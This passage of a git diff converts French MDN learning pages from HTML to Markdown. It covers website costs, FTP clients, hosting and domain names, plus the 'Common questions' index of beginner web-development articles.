Leurs fonctionnalités sont tr_s proches (certains de ces éditeurs sont si complets que vous n'utiliserez jamais toutes leurs fonctionnalités). Cependant, si vous avez besoin d'échanger vos éléments avec d'autres concepteurs, voyez avec eux les outils qu'ils utilisent. En effet les éditeurs peuvent permettre d'exporter vers des formats de fichiers standards mais d'autres possèdent leurs propres formats spécifiques.</p> +Vous pouvez utiliser n'importe lequel de ces éditeurs. Leurs fonctionnalités sont tr_s proches (certains de ces éditeurs sont si complets que vous n'utiliserez jamais toutes leurs fonctionnalités). Cependant, si vous avez besoin d'échanger vos éléments avec d'autres concepteurs, voyez avec eux les outils qu'ils utilisent. En effet les éditeurs peuvent permettre d'exporter vers des formats de fichiers standards mais d'autres possèdent leurs propres formats spécifiques. -<h5 id="Éditeurs_multimédia">Éditeurs multimédia</h5> +##### Éditeurs multimédia -<p>Si vous souhaitez intégrer des éléments audio ou vidéo dans votre site, vous pourrez utiliser des services en ligne (par exemple YouTube, Vimeo ou Dailymotion) pour intégrer les vidéos depuis ces sites ou vous pourrez créer ves propres vidéos (voir ci-après quant à la bande passante).</p> +Si vous souhaitez intégrer des éléments audio ou vidéo dans votre site, vous pourrez utiliser des services en ligne (par exemple YouTube, Vimeo ou Dailymotion) pour intégrer les vidéos depuis ces sites ou vous pourrez créer ves propres vidéos (voir ci-après quant à la bande passante). -<p>Pour éditer des fichiers audio, il existe des logiciels gratuits (<a href="http://audacity.sourceforge.net/?lang=en">Audacity</a>, <a href="http://www.wavosaur.com/">Wavosaur</a>) ou d'autres qui coûtent quelques centaines d'euros (<a href="http://www.sonycreativesoftware.com/soundforge">Sony Sound Forge</a>, <a href="http://www.adobe.com/products/audition.html">Adobe Audition</a>). Les logiciels d'édition vidéo peuvent être gratuits (<a href="http://www.pitivi.org/">PiTiVi</a>, <a href="http://www.openshot.org/">OpenShot</a> pour Linux, <a href="https://www.apple.com/mac/imovie/">iMovie</a> pour Mac), coûter moins d'une centaine d'euros (<a href="https://www.adobe.com/us/products/premiere-elements.html">Adobe Premiere Elements</a>) ou coûter plusieurs centaines d'euros (<a href="https://www.adobe.com/products/premiere.html">Adobe Premiere Pro</a>, <a href="http://www.avid.com/US/products/family/Media-Composer">Avid Media Composer</a>, <a href="https://www.apple.com/final-cut-pro/">Final Cut Pro</a>). Le logiciel qui est fourni avec votre caméra peut également parfaitement subvenir à vos besoins.</p> +Pour éditer des fichiers audio, il existe des logiciels gratuits ([Audacity](http://audacity.sourceforge.net/?lang=en), [Wavosaur](http://www.wavosaur.com/)) ou d'autres qui coûtent quelques centaines d'euros ([Sony Sound Forge](http://www.sonycreativesoftware.com/soundforge), [Adobe Audition](http://www.adobe.com/products/audition.html)). Les logiciels d'édition vidéo peuvent être gratuits ([PiTiVi](http://www.pitivi.org/), [OpenShot](http://www.openshot.org/) pour Linux, [iMovie](https://www.apple.com/mac/imovie/) pour Mac), coûter moins d'une centaine d'euros ([Adobe Premiere Elements](https://www.adobe.com/us/products/premiere-elements.html)) ou coûter plusieurs centaines d'euros ([Adobe Premiere Pro](https://www.adobe.com/products/premiere.html), [Avid Media Composer](http://www.avid.com/US/products/family/Media-Composer), [Final Cut Pro](https://www.apple.com/final-cut-pro/)). Le logiciel qui est fourni avec votre caméra peut également parfaitement subvenir à vos besoins. -<h5 id="Outils_de_publication_client_Glossary(FTP)">Outils de publication : client {{Glossary("FTP")}}</h5> +##### Outils de publication : client {{Glossary("FTP")}} -<p>Vous aurez également besoin d'un logiciel pour transférer les fichiers depuis votre disquer dur vers un serveur web distant. Pour cela, vous utiliserez un client FTP.</p> +Vous aurez également besoin d'un logiciel pour transférer les fichiers depuis votre disquer dur vers un serveur web distant. Pour cela, vous utiliserez un client FTP. -<p>Chaque système d'exploitation inclut un client FTP avec le gestionnaire de fichiers. Que ce soit Windows Explorer, Nautilus (un gestionnaire de fichiers pour Linux) ou Finder sur Mac, tous incluent cette fonctionnalité. Cependant, certains choisissent souvent d'utiliser un client FTP dédié à cet usage afin d'enregistrer les mots de passe et d'afficher les vues simultanées entre les emplacements locaux et les répertoires distants.</p> +Chaque système d'exploitation inclut un client FTP avec le gestionnaire de fichiers. Que ce soit Windows Explorer, Nautilus (un gestionnaire de fichiers pour Linux) ou Finder sur Mac, tous incluent cette fonctionnalité. Cependant, certains choisissent souvent d'utiliser un client FTP dédié à cet usage afin d'enregistrer les mots de passe et d'afficher les vues simultanées entre les emplacements locaux et les répertoires distants. -<p>Si vous souhaitez installer un client FTP, il existe plusieurs options correctes et gratuites : <a href="https://filezilla-project.org/">FileZilla</a> pour toutes les plateformes, <a href="http://winscp.net/">WinSCP</a> pour Windows, <a href="https://cyberduck.io/">Cyberduck</a> pour Mac et Windows <a href="https://en.wikipedia.org/wiki/List_of_FTP_server_software">et d'autres encore</a>.</p> +Si vous souhaitez installer un client FTP, il existe plusieurs options correctes et gratuites : [FileZilla](https://filezilla-project.org/) pour toutes les plateformes, [WinSCP](http://winscp.net/) pour Windows, [Cyberduck](https://cyberduck.io/) pour Mac et Windows [et d'autres encore](https://en.wikipedia.org/wiki/List_of_FTP_server_software). -<div class="note"> -<p><strong>Note :</strong> Il existe d'autres méthodes pour publier du contenu sur des serveurs distants : rsync et git par exemple. Mais ces méthodes ne sont pas aussi simples à appliquer que FTP et nous ne les aborderons pas dans cette section.</p> -</div> +> **Note :** Il existe d'autres méthodes pour publier du contenu sur des serveurs distants : rsync et git par exemple. Mais ces méthodes ne sont pas aussi simples à appliquer que FTP et nous ne les aborderons pas dans cette section. -<h4 id="Navigateurs">Navigateurs</h4> +#### Navigateurs -<p>Si vous lisez cet article, il y a de grandes chances que vous ayez un navigateur web. Sinon, vous pouvez <a href="https://www.mozilla.org/firefox/all/">télécharger Firefox</a> ou <a href="https://www.google.com/chrome/browser/">télécharger Google Chrome</a>.</p> +Si vous lisez cet article, il y a de grandes chances que vous ayez un navigateur web. Sinon, vous pouvez [télécharger Firefox](https://www.mozilla.org/firefox/all/) ou [télécharger Google Chrome](https://www.google.com/chrome/browser/). -<h4 id="Accès_au_Web">Accès au Web</h4> +#### Accès au Web -<h5 id="Ordinateur_Modem">Ordinateur / Modem</h5> +##### Ordinateur / Modem -<p>Pour éditer/publier un site web, vous aurez besoin d'un ordinateur. Le prix d'un ordinateur peut varier énormément en fonction de votre budget et de l'endroit où vous vivez. <em>A minima</em> vous aurez besoin d'un ordinateur qui puisse lancer un éditeur et un navigateur, il est donc possible de commencer le développement web avec un ordinateur d'entrée de gamme.</p> +Pour éditer/publier un site web, vous aurez besoin d'un ordinateur. Le prix d'un ordinateur peut varier énormément en fonction de votre budget et de l'endroit où vous vivez. _A minima_ vous aurez besoin d'un ordinateur qui puisse lancer un éditeur et un navigateur, il est donc possible de commencer le développement web avec un ordinateur d'entrée de gamme. -<p>Bien sûr, vous aurez besoin d'un ordinateur plus performants si vous voulez produire des concepts plus lourds, retoucher des photos ou produire des fichiers audio et vidéo.</p> +Bien sûr, vous aurez besoin d'un ordinateur plus performants si vous voulez produire des concepts plus lourds, retoucher des photos ou produire des fichiers audio et vidéo. -<p>Vous aurez besoin de transférer votre contenu vers un serveur distant. Pour cela, vous aurez besoin d'un modem et d'une accès Internet. Cela revient généralement à plusieurs euros par mois, que vous payez à un fournisseur d'accès Internet.</p> +Vous aurez besoin de transférer votre contenu vers un serveur distant. Pour cela, vous aurez besoin d'un modem et d'une accès Internet. Cela revient généralement à plusieurs euros par mois, que vous payez à un fournisseur d'accès Internet. -<h5 id="Accès_Internet">Accès Internet</h5> +##### Accès Internet -<p>Assurez-vous d'avoir suffisamment de bande passante :</p> +Assurez-vous d'avoir suffisamment de bande passante : -<ul> - <li>Un accès bas-débit devrait suffire pour un site web « simple » (des images de taille raisonnable, du texte, un peu de CSS et de JavaScript).</li> - <li>Si, en revanche, vous souhaitez maintenir un site plus volumineux avec des centaines de fichiers voire servir des fichiers audio/vidéo depuis votre propre serveur web, vous aurez besoin d'un accès ADSL voire d'un accès à la fibre. Le prix et la disponibilité d'un tel accès peuvent varier selon votre situation géographique et selon que vous êtes un professionnel ou un particulier.</li> -</ul> +- Un accès bas-débit devrait suffire pour un site web « simple » (des images de taille raisonnable, du texte, un peu de CSS et de JavaScript). +- Si, en revanche, vous souhaitez maintenir un site plus volumineux avec des centaines de fichiers voire servir des fichiers audio/vidéo depuis votre propre serveur web, vous aurez besoin d'un accès ADSL voire d'un accès à la fibre. Le prix et la disponibilité d'un tel accès peuvent varier selon votre situation géographique et selon que vous êtes un professionnel ou un particulier. -<h4 id="Hébergement">Hébergement</h4> +#### Hébergement -<h5 id="Comprendre_ce_qu'est_la_«_bande_passante_»">Comprendre ce qu'est la « bande passante »</h5> +##### Comprendre ce qu'est la « bande passante » -<p>Le tarif d'un hébergeur variera en fonction de la bande passante consommée par votre site web. Celle-ci dépend du nombre de visiteurs (humains ou robots) sur une période donnée et de l'espace occupé par votre contenu (c'est pour cette raison que la plupart des gens stockent leurs vidéos sur Youtube, Dailymotion et Vimeo). Par exemple, votre fournisseur peut avoir une formule qui permet d'avoir jusqu'à plusieurs milliers de visiteurs par jours pour une bande passante raisonnable (cette définition de « raisonnable » peut varier d'un fournisseur à l'autre). Grosso modo, un hébergement personnalisé moyen et qui vous permet de servir suffisamment de visiteurs coûte entre 10 et 15 euros par mois.</p> +Le tarif d'un hébergeur variera en fonction de la bande passante consommée par votre site web. Celle-ci dépend du nombre de visiteurs (humains ou robots) sur une période donnée et de l'espace occupé par votre contenu (c'est pour cette raison que la plupart des gens stockent leurs vidéos sur Youtube, Dailymotion et Vimeo). Par exemple, votre fournisseur peut avoir une formule qui permet d'avoir jusqu'à plusieurs milliers de visiteurs par jours pour une bande passante raisonnable (cette définition de « raisonnable » peut varier d'un fournisseur à l'autre). Grosso modo, un hébergement personnalisé moyen et qui vous permet de servir suffisamment de visiteurs coûte entre 10 et 15 euros par mois. -<div class="note"> -<p><strong>Note :</strong> Un débit « illimité » n'existe pas en réalité. Si vous consommez beaucoup de bande passante, attendez-vous à devoir payer en conséquence.</p> -</div> +> **Note :** Un débit « illimité » n'existe pas en réalité. Si vous consommez beaucoup de bande passante, attendez-vous à devoir payer en conséquence. -<h5 id="Nom_de_domaine">Nom de domaine</h5> +##### Nom de domaine -<p>Vous pouvez acheter un nom de domaine chez un fournisseur de nom de domaine (ou bureau d'enregistrement). Votre hébergeur peut aussi être un bureau d'enregistrement (<a href="https://www.1and1.com/">1&1</a> et <a href="https://www.gandi.net/?lang=en">Gandi</a> sont par exemple des hébergeurs et des bureaux d'enregistrement). Un nom de domaine coûte, en général, entre 5 et 15 € par an. Le coût peut varier en fonction :</p> +Vous pouvez acheter un nom de domaine chez un fournisseur de nom de domaine (ou bureau d'enregistrement). Votre hébergeur peut aussi être un bureau d'enregistrement ([1&1](https://www.1and1.com/) et [Gandi](https://www.gandi.net/?lang=en) sont par exemple des hébergeurs et des bureaux d'enregistrement). Un nom de domaine coûte, en général, entre 5 et 15 € par an. Le coût peut varier en fonction : -<ul> - <li>Des obligations locales (certains noms de domaines locaux sont plus chers car en fonction du pays, le prix fixé est différent)</li> - <li>Des services associés au nom de domaine : certains bureaux d'enregistrement fournissent par exemple une protection contre le spam en masquant votre adresse physique et votre adresse électronique derrière leur adresse.</li> -</ul> +- Des obligations locales (certains noms de domaines locaux sont plus chers car en fonction du pays, le prix fixé est différent) +- Des services associés au nom de domaine : certains bureaux d'enregistrement fournissent par exemple une protection contre le spam en masquant votre adresse physique et votre adresse électronique derrière leur adresse. -<h5 id="Hébergement_«_maison_»_et_hébergement_«_packagé_»">Hébergement « maison » et hébergement « packagé »</h5> +##### Hébergement « maison » et hébergement « packagé » -<p>Lorsque vous souhaitez publier un site, vous pouvez tout faire vous-même : mettre en place une base de données si nécessaire, installer un système de gestion de contenu ({{Glossary("CMS")}}) (comme <a href="http://wordpress.org/">Wordpress</a>, <a href="http://dotclear.org/">Dotclear</a>, <a href="http://www.spip.net/en_rubrique25.html">spip</a>, etc.), transférer vos modèles de fichiers ou utiliser vos propres modèles.</p> +Lorsque vous souhaitez publier un site, vous pouvez tout faire vous-même : mettre en place une base de données si nécessaire, installer un système de gestion de contenu ({{Glossary("CMS")}}) (comme [Wordpress](http://wordpress.org/), [Dotclear](http://dotclear.org/), [spip](http://www.spip.net/en_rubrique25.html), etc.), transférer vos modèles de fichiers ou utiliser vos propres modèles. -<p>Vous pouvez également utiliser un environnement pré-paramétré par votre hébergeur ou souscrire à un service d'hébergement avec des CMS pré-paramétrés (<a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). Avec cette dernière option, vous pourrez avoir un hébergement gratuit mais vous aurez beaucoup moins de contrôle sur la mise en forme et la mise en place du site web.</p> +Vous pouvez également utiliser un environnement pré-paramétré par votre hébergeur ou souscrire à un service d'hébergement avec des CMS pré-paramétrés ([Wordpress](http://wordpress.com/), [Tumblr](https://www.tumblr.com/), [Blogger](https://www.blogger.com/)). Avec cette dernière option, vous pourrez avoir un hébergement gratuit mais vous aurez beaucoup moins de contrôle sur la mise en forme et la mise en place du site web. -<h5 id="Hébergement_gratuit_et_hébergement_payant">Hébergement gratuit et hébergement payant</h5> +##### Hébergement gratuit et hébergement payant -<p>Si des options gratuites existent, pourquoi donc faudrait-il payer pour un hébergement ?</p> +Si des options gratuites existent, pourquoi donc faudrait-il payer pour un hébergement ? -<ol> - <li>Un hébergement payant vous permet d'avoir plus de libertés : votre site vous appartient et vous pouvez le migrer d'un hébergeur à un autre lorsque c'est nécessaire.</li> - <li>Un hébergement gratuit est souvent accompagné de publicité et vous contrôlez moins votre contenu.</li> -</ol> +1. Un hébergement payant vous permet d'avoir plus de libertés : votre site vous appartient et vous pouvez le migrer d'un hébergeur à un autre lorsque c'est nécessaire. +2. Un hébergement gratuit est souvent accompagné de publicité et vous contrôlez moins votre contenu. -<p>Certains choisissent une approche hybride en hébergeant leur site principal avec un nom de domaine et un hébergeur payants et utilisent un service gratuit pour héberger des contenus moins stratégiques.</p> +Certains choisissent une approche hybride en hébergeant leur site principal avec un nom de domaine et un hébergeur payants et utilisent un service gratuit pour héberger des contenus moins stratégiques. -<h3 id="Agences_web_professionnelles_et_hébergement">Agences web professionnelles et hébergement</h3> +### Agences web professionnelles et hébergement -<p>Si vous souhaitez mettre en place un site professionnel, vous contacterez probablement une agence web qui le développera pour vous.<br> - <br> - Le coût d'un tel projet varie selon plusieurs facteurs :</p> +Si vous souhaitez mettre en place un site professionnel, vous contacterez probablement une agence web qui le développera pour vous. -<ul> - <li>Est-ce que le site web ne contient que quelques pages de texte ou est-ce un site complexe avec plusieurs centaines de pages ?</li> - <li>Le site est-il mis à jour régulièrement ou s'agit-il d'un site web statique ?</li> - <li>Est-ce que le site web doit être connecté au service informatique de votre entreprise pour récolter du contenu (par exemple des données internes) ?</li> - <li>Souhaitez-vous que votre site brille de mille feux avec les dernières mises en forme à la mode ?</li> - <li>Est-ce que l'agence web doit détecter et résoudre des problèmes de scénarios et d'ergonomie complexes (en organisant par exemples des tests utilisateurs ou du <em>A/B testing</em> afin de déterminer une meilleure solution) ?</li> -</ul> +Le coût d'un tel projet varie selon plusieurs facteurs : -<p>De plus, en ce qui concerne l'hébergement :</p> +- Est-ce que le site web ne contient que quelques pages de texte ou est-ce un site complexe avec plusieurs centaines de pages ? +- Le site est-il mis à jour régulièrement ou s'agit-il d'un site web statique ? +- Est-ce que le site web doit être connecté au service informatique de votre entreprise pour récolter du contenu (par exemple des données internes) ? +- Souhaitez-vous que votre site brille de mille feux avec les dernières mises en forme à la mode ? +- Est-ce que l'agence web doit détecter et résoudre des problèmes de scénarios et d'ergonomie complexes (en organisant par exemples des tests utilisateurs ou du _A/B testing_ afin de déterminer une meilleure solution) ? -<ul> - <li>Faut-il des serveurs redondants au cas où un serveur tombe en panne ?</li> - <li>Est-ce qu'une fiabilité de 95% est suffisante ou faut-il un service qui fonctionne 24H/24, 7J/7 ?</li> - <li>Un serveur partagé est-il suffisant ou faut-il préférer un machine dédiée avec de hautes performances ?</li> -</ul> +De plus, en ce qui concerne l'hébergement : -<p>Selon les réponses à ces questions, votre site peut coûter entre quelques milliers d'euros et plusieurs centaines de milliers d'euros.</p> +- Faut-il des serveurs redondants au cas où un serveur tombe en panne ? +- Est-ce qu'une fiabilité de 95% est suffisante ou faut-il un service qui fonctionne 24H/24, 7J/7 ? +- Un serveur partagé est-il suffisant ou faut-il préférer un machine dédiée avec de hautes performances ? -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +Selon les réponses à ces questions, votre site peut coûter entre quelques milliers d'euros et plusieurs centaines de milliers d'euros. -<p>Maintenant que la question du coût est résolue, il est temps de commencer à concevoir ce site web et de <a href="/fr/docs/Learn/Set_up_a_basic_working_environment">préparer un environnement de travail</a>.</p> +## Prochaines étapes -<ul> - <li>Vous pouvez lire <a href="/fr/Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte">cet article sur comment choisir et installer un éditeur de texte</a>.</li> - <li>Si vous souhaitez en savoir plus sur les aspects de conception, vous pouvez <a href="/fr/Apprendre/Concevoir_page_web">décortiquer l'anatomie d'une page web</a>.</li> -</ul> +Maintenant que la question du coût est résolue, il est temps de commencer à concevoir ce site web et de [préparer un environnement de travail](/fr/docs/Learn/Set_up_a_basic_working_environment). + +- Vous pouvez lire [cet article sur comment choisir et installer un éditeur de texte](/fr/Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte). +- Si vous souhaitez en savoir plus sur les aspects de conception, vous pouvez [décortiquer l'anatomie d'une page web](/fr/Apprendre/Concevoir_page_web). diff --git a/files/fr/learn/common_questions/index.md b/files/fr/learn/common_questions/index.md index 5e0ed2d208..1df629feb2 100644 --- a/files/fr/learn/common_questions/index.md +++ b/files/fr/learn/common_questions/index.md @@ -8,121 +8,71 @@ tags: translation_of: Learn/Common_questions original_slug: Apprendre/Common_questions --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Cette section de la zone d'apprentissage est là pour fournir des réponses aux questions fréquentes qui peuvent survenir et qui ne concernent pas nécesserairement l'apprentissage du code (par exemple les articles sur <a href="/fr/docs/Learn/HTML">HTML</a> ou <a href="/fr/docs/Learn/CSS">CSS</a>.) Ces articles sont conçus pour être lus de manière indépendante.</p> +Cette section de la zone d'apprentissage est là pour fournir des réponses aux questions fréquentes qui peuvent survenir et qui ne concernent pas nécesserairement l'apprentissage du code (par exemple les articles sur [HTML](/fr/docs/Learn/HTML) ou [CSS](/fr/docs/Learn/CSS).) Ces articles sont conçus pour être lus de manière indépendante. -<h2 id="Comment_le_Web_fonctionne">Comment le Web fonctionne</h2> +## Comment le Web fonctionne -<p>Cette section couvre les mécaniques du Web — les questions en relation avec les connaissances de l'écosystème du web et son fonctionnement.</p> +Cette section couvre les mécaniques du Web — les questions en relation avec les connaissances de l'écosystème du web et son fonctionnement. -<dl> - <dt> - <a href="/fr/docs/Learn/Common_questions/How_does_the_Internet_work">Comment fonctionne Internet?</a> - </dt> - <dd><strong>Internet</strong> est la colonne vertébrale du Web, l'infrastructure technique qui rend le Web possible. A sa base, Internet est un vaste réseau d'ordinateurs qui communiquent ensemble. Cet article traite de son fonctionnement, de manière basique.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Quelle est la différence entre une page web, un site web, un serveur web et un moteur de recherche?</a> - </dt> - <dd>Dans cet article nous abordons les différents concepts liés au web : une page web, site web, serveur web, et moteur de recherche. Ces termes sont souvent confondus par les nouveaux internautes, ou mal utilisés. Voyons ce que chacun d'eux signifient.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL?</a> - </dt> - <dd>Avec {{Glossary("Hypertext", "le lien hypertexte")}} et {{Glossary("HTTP")}}, l'URL est l'un des principaux concepts du Web. C'est le mécanisme utilisé par le {{Glossary("Browser","navigateur web")}} pour récupérer n'importe quelle ressource publiée sur le Web.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_is_a_domain_name">Qu'est-ce qu'un nom de domaine?</a> - </dt> - <dd>Les noms de domaine sont une partie essentielle du fonctionnement d'Internet. Ils fournissent une adresse compréhensible pour un humain de n'importe quel serveur web disponible sur Internet.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_is_a_web_server">Qu'est-ce qu'un serveur Web?</a> - </dt> - <dd>Le terme "serveur Web" peut indiquer le matériel ou le logiciel qui fournissent les sites web aux clients à travers le web — ou les deux travaillant ensemble. Dans cet article nous verrons comment fonctionnent les serveurs web et quelle est leur importance.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_are_hyperlinks">Que sont les liens hypertextes?</a> - </dt> - <dd>Dans cet article nous verrons ce que sont les liens hypertextes et pourquoi ils sont importants.</dd> -</dl> +- [Comment fonctionne Internet?](/fr/docs/Learn/Common_questions/How_does_the_Internet_work) + - : **Internet** est la colonne vertébrale du Web, l'infrastructure technique qui rend le Web possible. A sa base, Internet est un vaste réseau d'ordinateurs qui communiquent ensemble. Cet article traite de son fonctionnement, de manière basique. +- [Quelle est la différence entre une page web, un site web, un serveur web et un moteur de recherche?](/fr/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines) + - : Dans cet article nous abordons les différents concepts liés au web : une page web, site web, serveur web, et moteur de recherche. Ces termes sont souvent confondus par les nouveaux internautes, ou mal utilisés. Voyons ce que chacun d'eux signifient. +- [Qu'est-ce qu'une URL?](/fr/docs/Learn/Common_questions/What_is_a_URL) + - : Avec {{Glossary("Hypertext", "le lien hypertexte")}} et {{Glossary("HTTP")}}, l'URL est l'un des principaux concepts du Web. C'est le mécanisme utilisé par le {{Glossary("Browser","navigateur web")}} pour récupérer n'importe quelle ressource publiée sur le Web. +- [Qu'est-ce qu'un nom de domaine?](/fr/docs/Learn/Common_questions/What_is_a_domain_name) + - : Les noms de domaine sont une partie essentielle du fonctionnement d'Internet. Ils fournissent une adresse compréhensible pour un humain de n'importe quel serveur web disponible sur Internet. +- [Qu'est-ce qu'un serveur Web?](/fr/docs/Learn/Common_questions/What_is_a_web_server) + - : Le terme "serveur Web" peut indiquer le matériel ou le logiciel qui fournissent les sites web aux clients à travers le web — ou les deux travaillant ensemble. Dans cet article nous verrons comment fonctionnent les serveurs web et quelle est leur importance. +- [Que sont les liens hypertextes?](/fr/docs/Learn/Common_questions/What_are_hyperlinks) + - : Dans cet article nous verrons ce que sont les liens hypertextes et pourquoi ils sont importants. -<h2 id="Outils_et_installation">Outils et installation</h2> +## Outils et installation -<p>Questions relatives aux outils/logiciels que vous pouvez utiliser pour construire des sites web.</p> +Questions relatives aux outils/logiciels que vous pouvez utiliser pour construire des sites web. -<dl> - <dt> - <a href="/fr/docs/Learn/Common_questions/How_much_does_it_cost">Combien ça coûte de créer quelque chose sur le Web?</a> - </dt> - <dd>Quand vous démarrez votre site web, vous pouvez ne rien dépenser ou alors complètement dépasser vos estimations. Dans cet article nous aborderons le prix de chaque chose et de ce que vous aurez si vous payez (ou ne payez pas).</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_software_do_I_need">Quel logiciel est nécessaire pour construire un site web?</a> - </dt> - <dd>Dans cet article nous expliquerons quel logiciel est nécessaire pour l'édition, l'upload, ou pour la visualisation d'un site web.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Available_text_editors">Quels sont les éditeurs disponibles?</a> - </dt> - <dd>Dans cet article nous mettrons en avant quelques points à retenir concernant le choix et l'installation d'un éditeur de texte pour le développement web.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Set_up_a_basic_working_environment">Comment installer un environnement de base pour travailler?</a> - </dt> - <dd>Quand vous travaillez sur un projet web, vous souhaiterez le tester en local avant de l'exposer à tout le monde. Certains types de code nécessitent un serveur web pour tester, dans cet article nous allons vous montrer comment le configurer. Nous allons aussi voir une structure à mettre en place afin que les fichiers restent organisés quand le projet grandira.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">Que sont les outils de développement du navigateur?</a> - </dt> - <dd>Chaque navigateur web possède un ensemble d'outils d'aide au développement du HTML, CSS, et des autres codes. Cet article explique comment utiliser les outils de développement de votre navigateur.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">Comment être sûr que votre site fonctionne correctement?</a> - </dt> - <dd>Alors vous avez publié votre site web en ligne — très bien ! Mais êtes vous sûr qu'il fonctionne correctement ? Cet article fourni quelques étapes de dépannage basique.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Upload_files_to_a_web_server">Comment transférer des fichiers vers un serveur web?</a> - </dt> - <dd>Cet article montre comment mettre son site en ligne en utilisant un outil <a href="/fr/docs/Glossary/FTP">FTP</a> — un des moyens les plus fréquents de publier son site afin qu'il soit disponible aux autres depuis leurs ordinateurs.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Using_GitHub_Pages">Comment utiliser GitHub Pages?</a> - </dt> - <dd>Cet article fourni un guide basique pour publier du contenu en utilisant l'outil gh-pages de GitHub.</dd> - <dt> - <a href="/fr/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">Comment héberger son site sur Google App Engine?</a> - </dt> - <dd>Vous recherchez un endroit pour héberger votre site web? Voici un guide pas-à-pas pour héberger votre site sur Google App Engine.</dd> - <dt> - <a href="/fr/docs/Tools/Performance">Quels outils sont disponibles pour corriger et améliorer les performances du site web?</a> - </dt> - <dd>Cette série d'articles vous montre comment utiliser les Outils de Développement de Firefox afin de déboguer et améliorer les performances de votre site web, en utilisant les outils pour vérifier l'utilisation de la mémoire, l'arbre d'appel de JavaScript, la quantité de noeuds DOM affichée, et plus encore.</dd> -</dl> +- [Combien ça coûte de créer quelque chose sur le Web?](/fr/docs/Learn/Common_questions/How_much_does_it_cost) + - : Quand vous démarrez votre site web, vous pouvez ne rien dépenser ou alors complètement dépasser vos estimations. Dans cet article nous aborderons le prix de chaque chose et de ce que vous aurez si vous payez (ou ne payez pas). +- [Quel logiciel est nécessaire pour construire un site web?](/fr/docs/Learn/Common_questions/What_software_do_I_need) + - : Dans cet article nous expliquerons quel logiciel est nécessaire pour l'édition, l'upload, ou pour la visualisation d'un site web. +- [Quels sont les éditeurs disponibles?](/fr/docs/Learn/Common_questions/Available_text_editors) + - : Dans cet article nous mettrons en avant quelques points à retenir concernant le choix et l'installation d'un éditeur de texte pour le développement web. +- [Comment installer un environnement de base pour travailler?](/fr/docs/Learn/Common_questions/Set_up_a_basic_working_environment) + - : Quand vous travaillez sur un projet web, vous souhaiterez le tester en local avant de l'exposer à tout le monde. Certains types de code nécessitent un serveur web pour tester, dans cet article nous allons vous montrer comment le configurer. Nous allons aussi voir une structure à mettre en place afin que les fichiers restent organisés quand le projet grandira. +- [Que sont les outils de développement du navigateur?](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) + - : Chaque navigateur web possède un ensemble d'outils d'aide au développement du HTML, CSS, et des autres codes. Cet article explique comment utiliser les outils de développement de votre navigateur. +- [Comment être sûr que votre site fonctionne correctement?](/fr/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly) + - : Alors vous avez publié votre site web en ligne — très bien ! Mais êtes vous sûr qu'il fonctionne correctement ? Cet article fourni quelques étapes de dépannage basique. +- [Comment transférer des fichiers vers un serveur web?](/fr/docs/Learn/Common_questions/Upload_files_to_a_web_server) + - : Cet article montre comment mettre son site en ligne en utilisant un outil [FTP](/fr/docs/Glossary/FTP) — un des moyens les plus fréquents de publier son site afin qu'il soit disponible aux autres depuis leurs ordinateurs. +- [Comment utiliser GitHub Pages?](/fr/docs/Learn/Common_questions/Using_GitHub_Pages) + - : Cet article fourni un guide basique pour publier du contenu en utilisant l'outil gh-pages de GitHub. +- [Comment héberger son site sur Google App Engine?](/fr/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine) + - : Vous recherchez un endroit pour héberger votre site web? Voici un guide pas-à-pas pour héberger votre site sur Google App Engine. +- [Quels outils sont disponibles pour corriger et améliorer les performances du site web?](/fr/docs/Tools/Performance) + - : Cette série d'articles vous montre comment utiliser les Outils de Développement de Firefox afin de déboguer et améliorer les performances de votre site web, en utilisant les outils pour vérifier l'utilisation de la mémoire, l'arbre d'appel de JavaScript, la quantité de noeuds DOM affichée, et plus encore. -<h2 id="Conception_et_accessibilité">Conception et accessibilité</h2> +## Conception et accessibilité -<p>Cette section rassemble les questions liées à l'esthétique, la structure des pages, aux techniques d'accessibilité, etc.</p> +Cette section rassemble les questions liées à l'esthétique, la structure des pages, aux techniques d'accessibilité, etc. -<dl> - <dt> - <a href="/fr/docs/Learn/Common_questions/Thinking_before_coding">Comment démarrer dans la conception de mon site web?</a> - </dt> - <dd>Cet article couvre la première étape la plus importante de tous les projets: définir ce que vous voulez accomplir avec.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Common_web_layouts">Que contiennent les mises en page classiques?</a> - </dt> - <dd>Lorsque vous concevez des pages pour votre site Web, il est bon d'avoir une idée des mises en page les plus courantes. Cet article présente quelques mises en page typiques du web, en analysant les parties qui composent chacune d'entre elles.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/What_is_accessibility">Qu'est-ce-que l'accessibilité?</a> - </dt> - <dd>Cet article est une introduction aux concepts de base de l'accessibilité web.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/Design_for_all_types_of_users">Comment concevoir pour tous les types d'utilisateurs?</a> - </dt> - <dd>Cet article fournit quelques techniques de base afin de vous aider dans la conception de sites web adaptés à tous les types d'utilisateurs — de rapides astuces d'accessibilité, en quelque sorte.</dd> - <dt> - <a href="/fr/docs/Learn/Common_questions/HTML_features_for_accessibility">Quelles 